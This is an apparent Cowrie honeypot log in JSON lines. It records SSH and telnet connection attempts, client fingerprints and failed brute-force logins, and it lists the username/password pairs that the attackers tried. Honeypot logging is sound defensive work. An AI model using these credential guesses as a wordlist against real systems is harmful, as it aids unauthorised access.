{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcde32ws","message":"login attempt [root/1qazxcde32ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:38.235597Z","src_ip":"43.153.22.143","session":"a2fe865b1188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.39191508293152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:38.854802Z","src_ip":"152.42.224.71","session":"4516b07013f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:39.305669Z","src_ip":"43.153.22.143","session":"a2fe865b1188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":51540,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd4e0bc6337","protocol":"ssh","message":"New connection: 43.128.111.187:51540 (159.203.135.109:22) [session: ccd4e0bc6337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:40.638124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:40.642970Z","src_ip":"43.128.111.187","session":"ccd4e0bc6337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:40.879737Z","src_ip":"43.128.111.187","session":"ccd4e0bc6337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin2026","message":"login attempt [ubuntu/admin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:41.855655Z","src_ip":"43.128.111.187","session":"ccd4e0bc6337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:43.096338Z","src_ip":"43.128.111.187","session":"ccd4e0bc6337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0c0f96e234","protocol":"telnet","message":"New connection: 152.42.224.71:55638 (10.17.0.5:23) [session: 0d0c0f96e234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:43.762031Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":38052,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db5ca632c7f","protocol":"ssh","message":"New connection: 154.83.13.181:38052 (159.203.135.109:22) [session: 7db5ca632c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:44.579760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:44.585157Z","src_ip":"154.83.13.181","session":"7db5ca632c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:45.547887Z","src_ip":"154.83.13.181","session":"7db5ca632c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"panfeng","password":"panfeng","message":"login attempt [panfeng/panfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:46.176723Z","src_ip":"154.83.13.181","session":"7db5ca632c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:47.387954Z","src_ip":"154.83.13.181","session":"7db5ca632c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":48604,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ae21f1f644","protocol":"ssh","message":"New connection: 197.248.104.31:48604 (10.17.0.5:22) [session: 93ae21f1f644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:49.491386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:49.496333Z","src_ip":"197.248.104.31","session":"93ae21f1f644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:49.706994Z","src_ip":"197.248.104.31","session":"93ae21f1f644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxl","message":"login attempt [root/zxl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:50.581193Z","src_ip":"197.248.104.31","session":"93ae21f1f644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:51.795574Z","src_ip":"197.248.104.31","session":"93ae21f1f644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40177369117737,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:58.764935Z","src_ip":"152.42.224.71","session":"eebb748d69a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":45090,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2bf778df53a","protocol":"ssh","message":"New connection: 43.153.124.153:45090 (10.17.0.5:22) [session: e2bf778df53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:58.958001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:58.963223Z","src_ip":"43.153.124.153","session":"e2bf778df53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:59.031746Z","src_ip":"43.153.124.153","session":"e2bf778df53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tablet","message":"login attempt [root/tablet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:59.335810Z","src_ip":"43.153.124.153","session":"e2bf778df53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.14458727836609,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:00.099375Z","src_ip":"152.42.224.71","session":"471451be0a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:00.409111Z","src_ip":"43.153.124.153","session":"e2bf778df53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.92668581008911,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:05.387743Z","src_ip":"152.42.224.71","session":"26917a195df3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55244,"dst_ip":"10.17.0.5","dst_port":23,"session":"995433b04b32","protocol":"telnet","message":"New connection: 152.42.224.71:55244 (10.17.0.5:23) [session: 995433b04b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:08.417137Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":42966,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e1dc7059a6e","protocol":"ssh","message":"New connection: 58.186.20.143:42966 (10.17.0.5:22) [session: 1e1dc7059a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:14.504813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:14.510880Z","src_ip":"58.186.20.143","session":"1e1dc7059a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:14.769020Z","src_ip":"58.186.20.143","session":"1e1dc7059a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinnick","message":"login attempt [root/alinnick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:15.837029Z","src_ip":"58.186.20.143","session":"1e1dc7059a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:17.100180Z","src_ip":"58.186.20.143","session":"1e1dc7059a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":45662,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b9c03794c4","protocol":"ssh","message":"New connection: 43.153.69.201:45662 (10.17.0.5:22) [session: 06b9c03794c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:18.742929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:18.748028Z","src_ip":"43.153.69.201","session":"06b9c03794c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:18.817407Z","src_ip":"43.153.69.201","session":"06b9c03794c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-data123","message":"login attempt [root/www-data123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:19.125978Z","src_ip":"43.153.69.201","session":"06b9c03794c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:20.198241Z","src_ip":"43.153.69.201","session":"06b9c03794c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":40820,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d1074307d0f","protocol":"ssh","message":"New connection: 59.17.95.129:40820 (159.203.135.109:22) [session: 5d1074307d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:22.146487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:22.151632Z","src_ip":"59.17.95.129","session":"5d1074307d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:22.359261Z","src_ip":"59.17.95.129","session":"5d1074307d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo123","message":"login attempt [root/hallo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:23.203998Z","src_ip":"59.17.95.129","session":"5d1074307d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a7393202a0f","protocol":"ssh","message":"New connection: 37.233.85.71:44192 (10.17.0.5:22) [session: 5a7393202a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:24.135521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:24.140616Z","src_ip":"37.233.85.71","session":"5a7393202a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:24.246089Z","src_ip":"37.233.85.71","session":"5a7393202a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:24.409026Z","src_ip":"59.17.95.129","session":"5d1074307d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma123","message":"login attempt [root/roma123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:24.561411Z","src_ip":"37.233.85.71","session":"5a7393202a0f","protocol":"ssh"}
